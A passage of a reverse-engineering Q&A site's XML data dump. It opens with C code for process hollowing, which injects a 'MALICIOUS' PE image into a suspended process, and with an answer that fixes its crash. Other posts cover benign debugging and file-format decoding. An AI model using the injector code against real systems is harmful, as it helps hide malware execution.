MALICIOUS IMAGE HEADERS&#xA;dosHeader = (PIMAGE_DOS_HEADER)(image);&#xA;ntHeader = (PIMAGE_NT_HEADERS)((DWORD)image + dosHeader-&amp;gt;e_lfanew);&#xA;&#xA;//Checks if this is a PE FILE&#xA;if (ntHeader-&amp;gt;Signature == IMAGE_NT_SIGNATURE) {&#xA;&#xA;    ZeroMemory(&amp;amp;pinfo, sizeof(pinfo));&#xA;    ZeroMemory(&amp;amp;sinfo, sizeof(sinfo));&#xA;&#xA;    if (CreateProcessA(currentpath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &amp;amp;sinfo, &amp;amp;pinfo)) {&#xA;        printf(&amp;quot;[*] Suspended process is created\n&amp;quot;);&#xA;        Sleep(600);&#xA;&#xA;        //Allocate memory for the context of suspended process&#xA;        ctx = (LPCONTEXT)(VirtualAlloc(NULL, sizeof(ctx), MEM_COMMIT, PAGE_READWRITE));&#xA;        if (ctx) {&#xA;            ctx-&amp;gt;ContextFlags = CONTEXT_FULL;&#xA;            printf(&amp;quot;[*] Context is allocated successfully\n&amp;quot;);&#xA;            Sleep(600);&#xA;            &#xA;            //Get the thread context&#xA;            if (GetThreadContext(pinfo.hThread, (LPCONTEXT)ctx)) {&#xA;                printf(&amp;quot;[*] Allocating MALICIOUS image headers into the suspended process\n&amp;quot;);&#xA;                Sleep(600);&#xA;&#xA;                ReadProcessMemory(pinfo.hProcess,(LPCVOID)(ctx-&amp;gt;Ebx + 8), (LPVOID)(&amp;amp;ImageBase), 4, 0);&#xA;&#xA;                pImage = VirtualAllocEx(pinfo.hProcess, NULL,&#xA;                    ntHeader-&amp;gt;OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);&#xA;&#xA;                if (pImage) {&#xA;                    printf(&amp;quot;[*] Allocating memory for MALICIOUS image headers into the IMAGE_BASE\n&amp;quot;);&#xA;                    Sleep(600);&#xA;&#xA;                    //Writing the image intor the process address space&#xA;                    if (WriteProcessMemory(pinfo.hProcess, (LPVOID)pImage, image, ntHeader-&amp;gt;OptionalHeader.SizeOfHeaders, NULL)) {&#xA;                        printf(&amp;quot;[*] Writing memory for MALICIOUS image headers into the IMAGE_BASE\n&amp;quot;);&#xA;                        Sleep(600);&#xA;&#xA;                        //sectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)image + dosHeader-&amp;gt;e_lfanew + sizeof(IMAGE_NT_HEADERS));&#xA;                        for (i = 0; i &amp;lt; ntHeader-&amp;gt;FileHeader.NumberOfSections; i++)&#xA;                        {&#xA;&#xA;                            sectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)image + dosHeader-&amp;gt;e_lfanew + 248 + (i * sizeof(IMAGE_SECTION_HEADER)));&#xA;                            if (sectionHeader-&amp;gt;SizeOfRawData == 00000000)&#xA;                                continue;&#xA;&#xA;                            if (WriteProcessMemory(pinfo.hProcess, (LPVOID)((DWORD)(pImage) + sectionHeader-&amp;gt;VirtualAddress),&#xA;                                (LPVOID)((DWORD)image + sectionHeader-&amp;gt;PointerToRawData), sectionHeader-&amp;gt;SizeOfRawData, 0))&#xA;                            {&#xA;                                printf(&amp;quot;[*] Allocating memory for Section %d at %X\n&amp;quot;, i, (LPVOID)((DWORD)pImage + sectionHeader-&amp;gt;VirtualAddress));&#xA;                                Sleep(600);&#xA;                            }&#xA;                            else&#xA;                            {&#xA;                                printf(&amp;quot;ERROR: Writing section (%d) into memory failed\n&amp;quot;, i);&#xA;                                printf(&amp;quot;Error Code: %d\n&amp;quot;, GetLastError());&#xA;                                return -1;&#xA;                            }&#xA;                        }&#xA;&#xA;                        //Change the imageBase address from the suspened process into the MALICIOUS&#xA;                        if (WriteProcessMemory(pinfo.hProcess, (LPVOID)(ctx-&amp;gt;Ebx + 8), (LPVOID)(ntHeader-&amp;gt;OptionalHeader.ImageBase), 4, 0)) {&#xA;                            printf(&amp;quot;[*] Image base address is changed to MALICIOUS\n&amp;quot;);&#xA;                            Sleep(600);&#xA;&#xA;                            //Now we will move the address of entrypoint to the MALCIOUS image&#xA;                            // At EAX register&#xA;                            ctx-&amp;gt;Eax = (DWORD)pImage + ntHeader-&amp;gt;OptionalHeader.AddressOfEntryPoint;&#xA;                            printf(&amp;quot;[*] AddressOfEntryPoint is changed to MALICIOUS\n&amp;quot;);&#xA;                            Sleep(600);&#xA;                            &#xA;                            //Set Thread Context and resume it&#xA;                            SetThreadContext(pinfo.hProcess, (LPCONTEXT)ctx);&#xA;                            ResumeThread(pinfo.hThread);&#xA;                            printf(&amp;quot;[*] Thread is resumed\n&amp;quot;);&#xA;                        }&#xA;&#xA;                        else&#xA;                        {&#xA;                            printf(&amp;quot;ERROR: Change the imageBase address from the suspened process into the MALICIOUS failed\n&amp;quot;);&#xA;                            printf(&amp;quot;Error Code: %d\n&amp;quot;, GetLastError());&#xA;                            return -1;&#xA;                        }&#xA;                    }&#xA;                    else&#xA;                    {&#xA;                        printf(&amp;quot;ERROR: Writing the image into the process address space failed\n&amp;quot;);&#xA;                        printf(&amp;quot;Error Code: %d\n&amp;quot;, GetLastError());&#xA;                        return -1;&#xA;                    }&#xA;        &#xA;                }&#xA;                else&#xA;                {&#xA;                    printf(&amp;quot;ERROR: Allocating memory for MALICIOUS image headers into the IMAGE_BASE failed\n&amp;quot;);&#xA;                    printf(&amp;quot;Error Code: %d\n&amp;quot;, GetLastError());&#xA;                    return -1;&#xA;                }&#xA;            }&#xA;            else&#xA;            {&#xA;                printf(&amp;quot;ERROR: GetThreadContext failed\n&amp;quot;);&#xA;                printf(&amp;quot;Error Code: %d\n&amp;quot;, GetLastError());&#xA;                return -1;&#xA;            }&#xA;        }&#xA;        else&#xA;        {&#xA;            printf(&amp;quot;ERROR: Context allocation failed\n&amp;quot;);&#xA;            printf(&amp;quot;Error Code: %d\n&amp;quot;, GetLastError());&#xA;            return -1;&#xA;        }&#xA;    }&#xA;&#xA;    return 0;&#xA;}&#xA;&#xA;else&#xA;{&#xA;    printf(&amp;quot;ERROR: Invalid nt SIGNATURE\n&amp;quot;);&#xA;    printf(&amp;quot;Error Code: %d\n&amp;quot;, GetLastError());&#xA;    return -1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="31473" LastActivityDate="2020-10-07T20:18:06.490" Title="Why I get 0xc00000005?" Tags="|c|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26079" PostTypeId="2" ParentId="26076" CreationDate="2020-10-07T06:56:18.030" Score="6" Body="&lt;p&gt;src sub_408678 is probably a label given by your tool to the address 408678&lt;/p&gt;&#xA;&lt;p&gt;[esp+0x35] the destination is a pointer to a 32 bit value&lt;/p&gt;&#xA;&lt;p&gt;it can take anything from 0x0 to 0xffffffff&lt;/p&gt;&#xA;&lt;p&gt;so after executing this instruction &lt;code&gt;00401234  mov     dword [esp+0x35], sub_408678&lt;/code&gt; [esp+0x35 will point to 0x408678&lt;/p&gt;&#xA;&lt;p&gt;in high level construct this will be&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;sometype *&amp;gt;foo ; // here sometype can be int,long,in your cse function_ptr etc &#xA;foo = &amp;amp;blah &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;a sample code and disassembly&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;unsigned long global = 0xdeadbeef;&#xA;int main (void) {&#xA;    unsigned long *foo;&#xA;    foo = &amp;amp;global;&#xA;    return *foo;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;disassembly&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cdb -c &amp;quot;uf ptr!main;q&amp;quot; ptr.exe | awk &amp;quot;/Reading/,/quit/&amp;quot;&#xA;0:000&amp;gt; cdb: Reading initial command 'uf ptr!main;q'&#xA;ptr!main:&#xA;01381000 55              push    ebp&#xA;01381001 8bec            mov     ebp,esp&#xA;01381003 51              push    ecx&#xA;01381004 c745fc00903c01  mov     dword ptr [ebp-4],offset ptr!global (013c9000) &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;0138100b 8b45fc          mov     eax,dword ptr [ebp-4]&#xA;0138100e 8b00            mov     eax,dword ptr [eax]&#xA;01381010 8be5            mov     esp,ebp&#xA;01381012 5d              pop     ebp&#xA;01381013 c3              ret&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-10-07T14:43:06.220" LastActivityDate="2020-10-07T14:43:06.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26080" PostTypeId="2" ParentId="26056" CreationDate="2020-10-07T13:01:29.243" Score="1" Body="&lt;p&gt;In x64dbg you may go to the &lt;code&gt;Symbols&lt;/code&gt; tab, then search for your .dll in the list on the left part of the screen. After you click that dll you can select all functions you like (for example &lt;code&gt;t3dSetActorInvisible&lt;/code&gt;) and press F2 to set software breakpoint there.&lt;/p&gt;&#xA;" OwnerUserId="21109" LastActivityDate="2020-10-07T13:01:29.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26082" PostTypeId="2" ParentId="26078" CreationDate="2020-10-07T20:18:06.490" Score="2" Body="&lt;p&gt;SOLVED:&lt;/p&gt;&#xA;&lt;p&gt;I must pass the address of the buffer not the value inside that buffer in WriteProcessMemmory&#xA;[Call by reference]&lt;/p&gt;&#xA;&lt;p&gt;Modified:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;WriteProcessMemory(pinfo.hProcess, (LPVOID)(ctx-&amp;gt;Ebx + 8), (LPVOID)(&amp;amp;ntHeader-&amp;gt;OptionalHeader.ImageBase), 4, 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31473" LastActivityDate="2020-10-07T20:18:06.490" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26083" PostTypeId="1" CreationDate="2020-10-08T07:57:29.960" Score="2" ViewCount="1721" Body="&lt;p&gt;I am reversing Capcom driver and in IDA I have this list of functions:&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/B4wJ2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/B4wJ2.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I want to set breakpoint on the function &lt;code&gt;sub_10590&lt;/code&gt; but I don't know what is the address of this function when I am doing &lt;strong&gt;live debugging&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I set a breakpoint on the userland program before it calls &lt;code&gt;DeviceIoControl&lt;/code&gt; and checked the driver object in WinDBG:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; dt _DRIVER_OBJECT ffffe78a4b355810&#xA;nt!_DRIVER_OBJECT&#xA;   +0x000 Type             : 0n4&#xA;   +0x002 Size             : 0n336&#xA;   +0x008 DeviceObject     : 0xffffe78a`4be95850 _DEVICE_OBJECT&#xA;   +0x010 Flags            : 0x12&#xA;   +0x018 DriverStart      : 0xfffff80b`f90b0000 Void&#xA;   +0x020 DriverSize       : 0xc00&#xA;   +0x028 DriverSection    : 0xffffe78a`4d452e80 Void&#xA;   +0x030 DriverExtension  : 0xffffe78a`4b355960 _DRIVER_EXTENSION&#xA;   +0x038 DriverName       : _UNICODE_STRING &amp;quot;\Driver\cfs&amp;quot;&#xA;   +0x048 HardwareDatabase : 0xfffff800`5a5ae8f8 _UNICODE_STRING &amp;quot;\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM&amp;quot;&#xA;   +0x050 FastIoDispatch   : (null) &#xA;   +0x058 DriverInit       : 0xfffff80b`f90b063c     long  +0&#xA;   +0x060 DriverStartIo    : (null) &#xA;   +0x068 DriverUnload     : 0xfffff80b`f90b047c     void  +0&#xA;   +0x070 MajorFunction    : [28] 0xfffff80b`f90b04e4     long  +0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How can I find the address of this function? or its offset &lt;code&gt;cfs+&amp;lt;what_is_the_offset&amp;gt;&lt;/code&gt;...&lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2023-02-26T01:03:10.340" Title="How to find the address (offset) of specific driver function" Tags="|windows|debugging|kernel|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26084" PostTypeId="2" ParentId="26083" CreationDate="2020-10-08T08:02:35.840" Score="1" Body="&lt;p&gt;A friend show me how to do it with IDA Python:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from idaapi import *&#xA;here() -get_imagebase()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And in WinDBG:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; db cfs+0x590&#xA;fffff80b`f90b0590  48 53 56 57 48 83 ec 20-48 8b 82 b8 00 00 00 48  HSVWH.. H......H&#xA;fffff80b`f90b05a0  8b 7a 18 33 c9 89 4a 30-48 89 4a 38 80 38 0e 44  .z.3..J0H.J8.8.D&#xA;fffff80b`f90b05b0  8b 48 10 44 8b 40 08 48-8b da 8b 50 18 74 09 c7  .H.D.@.H...P.t..&#xA;fffff80b`f90b05c0  43 30 02 00 00 c0 eb 5e-41 bb 44 20 01 aa 8b c1  C0.....^A.D ....&#xA;fffff80b`f90b05d0  8b f1 41 3b d3 41 ba 44-30 01 aa 74 0f 41 3b d2  ..A;.A.D0..t.A;.&#xA;fffff80b`f90b05e0  75 11 b8 08 00 00 00 8d-70 fc eb 07 be 04 00 00  u.......p.......&#xA;fffff80b`f90b05f0  00 8b c6 44 3b c8 75 27-44 3b c6 75 22 41 3b d3  ...D;.u'D;.u&amp;quot;A;.&#xA;fffff80b`f90b0600  74 0a 41 3b d2 75 0e 48-8b 0f eb 02 8b 0f e8 11  t.A;.u.H........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or you can just set the address &lt;code&gt;fffff80b`f90b0590&lt;/code&gt; in the disassembly window.&lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2020-10-08T08:02:35.840" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26085" PostTypeId="1" CreationDate="2020-10-08T08:53:01.583" Score="0" ViewCount="2382" Body="&lt;p&gt;I'm reversing a 64bit binary  with gdb &amp;amp; &lt;a href=&quot;https://github.com/longld/peda&quot; rel=&quot;nofollow noreferrer&quot;&gt;peda&lt;/a&gt; and I've identified a function of interest (probably encoding user input). I want to watch the function &lt;code&gt;interesting&lt;/code&gt;'s  local variable &lt;code&gt;arg1&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;How can I watch a local variable of a known function in gdb?&lt;/p&gt;&#xA;" OwnerUserId="30044" LastActivityDate="2022-03-15T10:05:45.523" Title="How to watch a function's local variable in GDB?" Tags="|gdb|local-variables|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26086" PostTypeId="1" CreationDate="2020-10-08T08:53:37.653" Score="2" ViewCount="433" Body="&lt;p&gt;I'm trying to extract bitmaps from an old Macromedia Director protected .dxr file. I was able to find some information about the file structure from &lt;a href=&quot;https://medium.com/@nosamu/a-tour-of-the-adobe-director-file-format-e375d1e063c0#:%7E:text=Director%20Movie%20Files%20use%20a,multimedia%20format%20of%20Windows%203.1.&amp;amp;text=It%27s%20similar%20to%20a%20RIFF,begin%20with%20the%20ID%20RIFX&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; (it turns out to be a XFIR container, the little endian variant of RIFX), which allowed me to find the specific chunk (called BITD chunk) in which the bitmap is stored, there is also an ALFA chunck which stores (I guess the transpareny of each bitmap pixel). The bitmap is supposed to be losslessly compressed with RLE and to only store raw color data (no size, bit depth, pallette,...)&lt;/p&gt;&#xA;&lt;p&gt;I have generated a few simple bitmaps with the ancient macromedia and this is what I found out:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;43 columns, 20 rows rectangle. Color 0xcc6666:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The string &amp;quot;d6ff d6&lt;strong&gt;cc&lt;/strong&gt; d6&lt;strong&gt;66&lt;/strong&gt; d6&lt;strong&gt;66&lt;/strong&gt;&amp;quot; is repeated 20 times.&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Square of size 20. Color 0xcc6666:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The string &amp;quot;edff ed&lt;strong&gt;cc&lt;/strong&gt; ed&lt;strong&gt;66&lt;/strong&gt; ed&lt;strong&gt;66&lt;/strong&gt;&amp;quot; is repeated 20 times.&lt;/p&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;A similar pattern arises with a square of size 9 and different colors.&lt;/li&gt;&#xA;&lt;li&gt;A row of 5 0x00ffff color pixels followed by another 5 0x000000 color pixels.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The string &amp;quot;ff&lt;strong&gt;00 ffff&lt;/strong&gt;&amp;quot; is repated 5 times followed by the string &amp;quot;ff&lt;strong&gt;00 0000&lt;/strong&gt;&amp;quot; repeated 5 times.&lt;/p&gt;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;A row of 10 0x000000 pixels:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The string &amp;quot;00&lt;strong&gt;00 0000&lt;/strong&gt;&amp;quot; is repeated 9 times, followed by &amp;quot;ff&lt;strong&gt;00 0000&lt;/strong&gt;&amp;quot; one last times.&lt;/p&gt;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;A row of 11 0x669999 pixels:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The string &amp;quot;f800 01ff fff6 &lt;strong&gt;66&lt;/strong&gt;f6 &lt;strong&gt;99&lt;/strong&gt;f6 &lt;strong&gt;99&lt;/strong&gt;00&amp;quot; is displayed just once.&lt;/p&gt;&#xA;&lt;p&gt;For here on, I'm unable to recognize any pattern. Any of you recognize this particular format as a part of an standard one that can be opened with some usual program? Any general advise or hint?&lt;/p&gt;&#xA;" OwnerUserId="34613" LastEditorUserId="34613" LastEditDate="2020-10-08T11:54:12.927" LastActivityDate="2024-03-26T19:33:58.190" Title="Decode bitmaps from Director .dxr files" Tags="|file-format|encodings|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26087" PostTypeId="1" AcceptedAnswerId="26093" CreationDate="2020-10-08T11:50:04.163" Score="3" ViewCount="1589" Body="&lt;p&gt;I have files with binary data, the format description of them is very vague and incomplete. E.g., it states that records start with header byte, like (hex) FA, followed by datetime (accurate down to milliseconds) and other data fields, but no indication of field length, least significant bit (LSB) value, or even the byte endianness of record fields. Overall, the files should represent some sort of message log, and I need to decode them properly into meaningful data.&lt;/p&gt;&#xA;&lt;p&gt;Given the vagueness, incompleteness and possible errors (see below) in format description, my only hope to achieve the goal is a table that I have. It's describing roughly what's in the binary files. E.g., I know that some field from a specific file must decode to a value near 2700, another field must be -8.77, etc. There's at most one record statement like that, per file.&lt;/p&gt;&#xA;&lt;p&gt;I've first read &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1331/automated-tools-for-file-format-reverse-engineering&quot;&gt;this question&lt;/a&gt;, but I'm not sure which of those tools can help in my situation. So I've translated my input binary into text files, simply displaying the initial data in hex representation, all in one big string. Splitting it by header bytes yielded some weird picture where each record seemed to have different length in bytes. Further investigation has shown that there are more types of headers (I call them sub-headers) than stated in format description. Also the first 1-byte field seems to indicate how many internal 22-byte blocks of data a record additionally has. This first field is out of place - it should've been datetime, judging by the format description. So, it's not that accurate/trustworthy, but at least it pushed me (seemingly) in the right direction.&lt;/p&gt;&#xA;&lt;p&gt;I'm totally new to reverse engineering, so my questions may be rather bad, but please bear with me:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is my task even possible to do, given the described situation?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If it is, how should I try and find a decoding method? What tools could help find correct field length, LSB and semantic (i.e., which data field is which, as I don't trust that format description too much anymore)?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;EDIT: Additional information on findings&lt;/h2&gt;&#xA;&lt;p&gt;Here are some examples of internal 22-byte blocks. One of the records has 7 blocks:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0018001E030825411C004303076D000D230000013802&#xA;0018002B020B56010C001C030011000D22065D011601&#xA;0018003103166A0052001803000A000D22065D011601&#xA;00187F7301197440390017030779000D22065D011701&#xA;0018002B02230540390019030779000D22065D011E01&#xA;00187F7E032578004A0024030009000D22065D012B01&#xA;00180038012B2501040028030010000D230000013101&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Prefixed by 'FE070F600710', where '07' says that there are 7 of them, and '0F600710' seems to be repeated in such prefixes throughout the file. Example of a different, 8-blocks record:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00187F4C020614414E0030030767000D230000012001&#xA;00187F4E000669414E0031030767000D230000012301&#xA;00180014030E3B004A0028030009000D230000012601&#xA;0018002B0110694042001B030778000D230000011C01&#xA;00187F620321080052001203000A000D230000011601&#xA;0018000B00254440390028030779000D230000012E02&#xA;0018001601345C00420018030008000D230000012401&#xA;0018002B013923404A0010030777000D230000011E01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As we can see, they all start with '0018', so that may be another sub-header, not data. That leaves us with exactly five 4-byte floats, or two 8-byte doubles and extra 4 bytes.&lt;/p&gt;&#xA;&lt;p&gt;Some columns of '00's can be seen, '0D' seems to also repeat in a column pattern. There's a '03' that is also always present. If we think of them as additional delimiters, fields of 7, 1, 2, and 6 bytes can be guessed, which mostly isn't like some standard single- or double-precision floats. That's why in the initial statement I thought real numbers were coded as integers, with some unknown LSB.&lt;/p&gt;&#xA;" OwnerUserId="34603" LastEditorUserId="34603" LastEditDate="2020-10-09T10:08:15.353" LastActivityDate="2020-11-25T15:57:40.433" Title="Reverse engineering a partially known binary format" Tags="|file-format|tools|encodings|binary-diagnosis|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26089" PostTypeId="2" ParentId="26083" CreationDate="2020-10-08T17:54:58.623" Score="0" Body="&lt;p&gt;Your DriverEntry isGiven In Your dt output&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;+0x058 DriverInit       : 0xfffff80b`f90b063c     long  +0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The Load is Address is Available in the same output&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;+0x018 DriverStart      : 0xfffff80b`f90b0000 Void&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;given these 2 the RVA to Driver Entry is 0x63c&lt;/p&gt;&#xA;&lt;p&gt;find out what the Address Of Driver Entry is in IDA (most probably it will be 0x1063c )&lt;/p&gt;&#xA;&lt;p&gt;subtract 10590 from 1063c   == 0xac&#xA;set a breakpoint in windbg using&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bp  cfs!DriverEntry-0xAC  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which is same as what you answered&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;FFFFF80BF90B0590&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;disassembly usingradare2&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0x0001063c]&amp;gt; s $$-0xac&#xA;[0x00010590]&amp;gt; af $$&#xA;[0x00010590]&amp;gt; pdf $$&#xA;            ;-- fcn.00010590:&#xA;            ;-- fcn.:&#xA;/ (fcn) fcn.$$ 172&#xA;|   fcn.$$ (int arg3, int arg4);&#xA;|           ; arg int arg3 @ rdx&#xA;|           ; arg int arg4 @ rcx&#xA;|           ; DATA XREF from entry0 (0x10735)&#xA;|           0x00010590      4853           push rbx&#xA;|           0x00010592      56             push rsi&#xA;|           0x00010593      57             push rdi&#xA;|           0x00010594      4883ec20       sub rsp, 0x20&#xA;|           0x00010598      488b82b80000.  mov rax, qword [rdx + 0xb8] ; [0xb8:8]=-1 ; 184 ; arg3&#xA;|           0x0001059f      488b7a18       mov rdi, qword [rdx + 0x18] ; [0x18:8]=-1 ; 24 ; arg3&#xA;|           0x000105a3      33c9           xor ecx, ecx&#xA;|           0x000105a5      894a30         mov dword [rdx + 0x30], ecx ; arg4&#xA;|           0x000105a8      48894a38       mov qword [rdx + 0x38], rcx ; arg4&#xA;|           0x000105ac      80380e         cmp byte [rax], 0xe&#xA;|           0x000105af      448b4810       mov r9d, dword [rax + 0x10] ; [0x10:4]=-1 ; 16&#xA;|           0x000105b3      448b4008       mov r8d, dword [rax + 8]    ; [0x8:4]=-1 ; 8&#xA;|           0x000105b7      488bda         mov rbx, rdx&#xA;|           0x000105ba      8b5018         mov edx, dword [rax + 0x18] ; [0x18:4]=-1 ; 24&#xA;|       ,=&amp;lt; 0x000105bd      7409           je 0x105c8&#xA;|       |   0x000105bf      c74330020000.  mov dword [rbx + 0x30], 0xc0000002 ; [0xc0000002:4]=-1&#xA;|      ,==&amp;lt; 0x000105c6      eb5e           jmp 0x10626&#xA;|      ||   ; CODE XREF from fcn.$$ (0x105bd)&#xA;|      |`-&amp;gt; 0x000105c8      41bb442001aa   mov r11d, 0xaa012044&#xA;|      |    0x000105ce      8bc1           mov eax, ecx                ; arg4&#xA;|      |    0x000105d0      8bf1           mov esi, ecx                ; arg4&#xA;|      |    0x000105d2      413bd3         cmp edx, r11d&#xA;|      |    0x000105d5      41ba443001aa   mov r10d, 0xaa013044&#xA;|      |,=&amp;lt; 0x000105db      740f           je 0x105ec&#xA;|      ||   0x000105dd      413bd2         cmp edx, r10d&#xA;|     ,===&amp;lt; 0x000105e0      7511           jne 0x105f3&#xA;|     |||   0x000105e2      b808000000     mov eax, 8&#xA;|     |||   0x000105e7      8d70fc         lea esi, [rax - 4]&#xA;|    ,====&amp;lt; 0x000105ea      eb07           jmp 0x105f3&#xA;|    ||||   ; CODE XREF from fcn.$$ (0x105db)&#xA;|    |||`-&amp;gt; 0x000105ec      be04000000     mov esi, 4&#xA;|    |||    0x000105f1      8bc6           mov eax, esi&#xA;|    |||    ; CODE XREFS from fcn.$$ (0x105e0, 0x105ea)&#xA;|    ``---&amp;gt; 0x000105f3      443bc8         cmp r9d, eax&#xA;|      |,=&amp;lt; 0x000105f6      7527           jne 0x1061f&#xA;|      ||   0x000105f8      443bc6         cmp r8d, esi&#xA;|     ,===&amp;lt; 0x000105fb      7522           jne 0x1061f&#xA;|     |||   0x000105fd      413bd3         cmp edx, r11d&#xA;|    ,====&amp;lt; 0x00010600      740a           je 0x1060c&#xA;|    ||||   0x00010602      413bd2         cmp edx, r10d&#xA;|   ,=====&amp;lt; 0x00010605      750e           jne 0x10615&#xA;|   |||||   0x00010607      488b0f         mov rcx, qword [rdi]&#xA;|  ,======&amp;lt; 0x0001060a      eb02           jmp 0x1060e&#xA;|  ||||||   ; CODE XREF from fcn.$$ (0x10600)&#xA;|  ||`----&amp;gt; 0x0001060c      8b0f           mov ecx, dword [rdi]&#xA;|  || |||   ; CODE XREF from fcn.$$ (0x1060a)&#xA;|  `------&amp;gt; 0x0001060e      e811ffffff     call fcn.00010524&#xA;|   | |||   0x00010613      8bc8           mov ecx, eax&#xA;|   | |||   ; CODE XREF from fcn.$$ (0x10605)&#xA;|   `-----&amp;gt; 0x00010615      8bc6           mov eax, esi&#xA;|     |||   0x00010617      890f           mov dword [rdi], ecx&#xA;|     |||   0x00010619      48894338       mov qword [rbx + 0x38], rax&#xA;|    ,====&amp;lt; 0x0001061d      eb07           jmp 0x10626&#xA;|    ||||   ; CODE XREFS from fcn.$$ (0x105f6, 0x105fb)&#xA;|    |`-`-&amp;gt; 0x0001061f      c743300d0000.  mov dword [rbx + 0x30], 0xc000000d ; [0xc000000d:4]=-1&#xA;|    | |    ; CODE XREFS from fcn.$$ (0x105c6, 0x1061d)&#xA;|    `-`--&amp;gt; 0x00010626      33d2           xor edx, edx&#xA;|           0x00010628      488bcb         mov rcx, rbx&#xA;|           0x0001062b      ff15dffcffff   call qword sym.imp.ntoskrnl.exe_IofCompleteRequest ; [0x10310:8]=0xb2a reloc.ntoskrnl.exe_IofCompleteRequest ; &amp;quot;*\v&amp;quot;&#xA;|           0x00010631      8b4330         mov eax, dword [rbx + 0x30] ; [0x30:4]=-1 ; '0' ; 48&#xA;|           0x00010634      4883c420       add rsp, 0x20&#xA;|           0x00010638      5f             pop rdi&#xA;|           0x00010639      5e             pop rsi&#xA;|           0x0001063a      5b             pop rbx&#xA;\           0x0001063b      c3             ret&#xA;[0x00010590]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-10-08T17:54:58.623" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
